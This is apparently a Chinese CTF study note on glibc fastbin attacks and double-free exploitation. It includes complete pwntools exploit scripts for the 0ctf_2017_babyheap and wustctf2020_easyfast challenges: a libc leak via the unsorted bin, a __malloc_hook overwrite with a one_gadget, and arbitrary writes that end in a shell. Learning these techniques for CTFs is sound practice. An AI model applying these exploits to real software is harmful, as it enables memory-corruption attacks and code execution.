fastbin_attack
[toc]
fastbin attack
首先要知道fastbin
的chunk
的大小范围。
32位下,fastbin chunk的范围是16字节 - 64字节(0x10 - 0x40)
64位下,fastbin chunk的范围是32字节-128字节(0x20 - 0x80)
注意,这是加上header的大小。
fastbin
方法流程比较简单,即通过某种手段能够控制fastbin
中的chunk
的fd
指针时,将其指向一个想要往其写入数据的地方,这样再次malloc
这个大小的chunk
的时候就可以将这个地方分配为chunk
,达到任意地址写的效果。但是条件如下:
- fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
- fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
- fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
- fake chunk 的 next chunk 的大小不能小于
2 * SIZE_SZ
,同时也不能大于av->system_mem
。
- fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
要注意,被指向的地方的chunk header
中的size
必须满足fastbin
的要求,即大小和fastbin
中指向该fake chunk
的chunk
大小相同。若无法直接找到,可以利用地址偏移一些来寻找,也可以借助工具,比如pwndbg
中可以使用find_fast_chunk addr
来寻找一个可以覆盖掉addr
地址的chunk
。
例题是0ctf_2017_nanyheap:
整体思路是使用unsort bin
泄露main_arena
(unsort bin
在只有一个chunk
的时候fd
和bk
都指向main_arena
的某个固定偏移处),再通过main_arena
计算偏移得到libc
和其他函数地址。
之后使用fastbin attack
来向__malloc_hook
中写入one_gadget
算出来的gadget
即可。注意,本来malloc_hook
前是没有明显的可以分配的fastbin
大小的chunk
的,但是可以通过小部分偏移来得到刚好可以覆盖掉__malloc_hook
的chunk
,此处在pwngdb
使用命令find_fast_chunk &__malloc_hook
即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
|
from pwn import * from LibcSearcher import *
filename = './0ctf_2017_babyheap' context(log_level='debug') local = 1 elf = ELF(filename)
if local: sh = process(filename) else: sh = remote('node4.buuoj.cn', 25212)
def debug(): pid = util.proc.pidof(sh)[0] gdb.attach(pid) pause()
def allocate(size): sh.sendlineafter(': ', '1') sh.sendlineafter(': ', str(size))
def fill(index, size, content): sh.sendlineafter(': ', '2') sh.sendlineafter(': ', str(index)) sh.sendlineafter(': ', str(size)) sh.sendafter(': ', content)
def free(index): sh.sendlineafter(': ', '3') sh.sendlineafter(': ', str(index))
def dump(index): sh.sendlineafter(': ', '4') sh.sendlineafter(': ', str(index))
allocate(0x80) allocate(0x80) allocate(0x80) allocate(0x20) free(1) fill(0, 0x90, b'a'*0x80 + p64(0) + p64(0x121)) allocate(0x110) payload = b'a'*0x80 + p64(0) + p64(0x91) + b'c'*0x80 fill(1, len(payload), payload) free(2) dump(1) main_arena = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x58 info('the addr of main_arena is {}'.format(hex(main_arena))) libc_addr = main_arena - 0x3c4b20 info('the libc addr is {}'.format(hex(libc_addr))) fake_chunk_addr = libc_addr + 0x3c4aed info('the fake_chunk_addr is {}'.format(hex(fake_chunk_addr))) malloc_hook = libc_addr + 0x3c4b10 info('the addr of malloc_hook is {}'.format(hex(malloc_hook)))
allocate(0x80)
allocate(0x60) allocate(0x60) free(5) payload = b'd'*0x60 + p64(0x70) + p64(0x71) + p64(fake_chunk_addr) fill(4, len(payload), payload) allocate(0x60) allocate(0x60)
one_gadget = 0x4526a payload = b'a'*(0x23 - 0x10) + p64(libc_addr + one_gadget) fill(6, len(payload), payload)
allocate(0x10) sh.interactive()
PYTHON
|
Double Free
顾名思义,也就是将一个已经在fastbins
里面的chunk
再次添加到fastbins
里面去,添加完成后就会有两个同样的chunk
在一个bins
里面。
比如:
1 2 3 4 5 6
| void* chunk1 = malloc(0x10); void* chunk2 = malloc(0x10);
free(chunk1); free(chunk2); free(chunk1);
C
|
这样一来,在fastbins
的大小为0x20
的bin
中,就会有:
image-20230217172959638
因为chunk1
指向chunk2
,因此最右边的chunk1
也会指向chunk2
。
值得注意的是,fastbin
会对直接与main arena
连接的chunk
进行检查,因此必须借助第二个chunk
才可以让两个一样的chunk
都在同一个bins
里面。
有什么用呢?
若此时我们再申请一个chunk
,那么左边的chunk1
将会被申请到,若我们能够修改chunk1
,便相当于修改了还在fastbins
里面的右边的chunk
的fd
指针。如此以来,若当目前在fastbins
里面的chunk
都被free
了,由于最右边的那个chunk1
的fd
指针是我们设计的值,那么接下来再进行malloc
操作时,便会将我们设计的值作为地址,将我们指定的地址作为一个chunk
返回给我们。相当于是实现了一个任意地址写的功能。
但没有那么简单,我们设计的值作为地址的地方要作为chunk
返回,必须要满足一个条件,即这个chunk
的size
值必须和bins
单链表里面的其他chunk
相同。这样一来就没有问题了。
例题wustctf2020_easyfast
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
|
from pwn import *
context(log_level='debug')
elf = ELF('./wustctf2020_easyfast')
sh = remote('node4.buuoj.cn', 27643)
def debug(): pid = util.proc.pidof(sh)[0] gdb.attach(pid) pause()
def add(size): sh.recvuntil('choice>\n') sh.sendline('1') sh.recvuntil('size>\n') sh.sendline(str(size))
def delete(index): sh.sendlineafter('choice>\n', '2') sh.sendlineafter('index>\n', str(index)) def modify(index, content): sh.sendlineafter('choice>\n', '3') sh.sendlineafter('index>\n', str(index)) sh.send(content)
add(0x40) add(0x40)
delete(0) delete(1) delete(0)
modify(0, p64(0x602080))
add(0x40) add(0x40)
modify(3, p64(0))
sh.recvuntil('>\n') sh.sendline('4')
sh.interactive()
PYTHON
|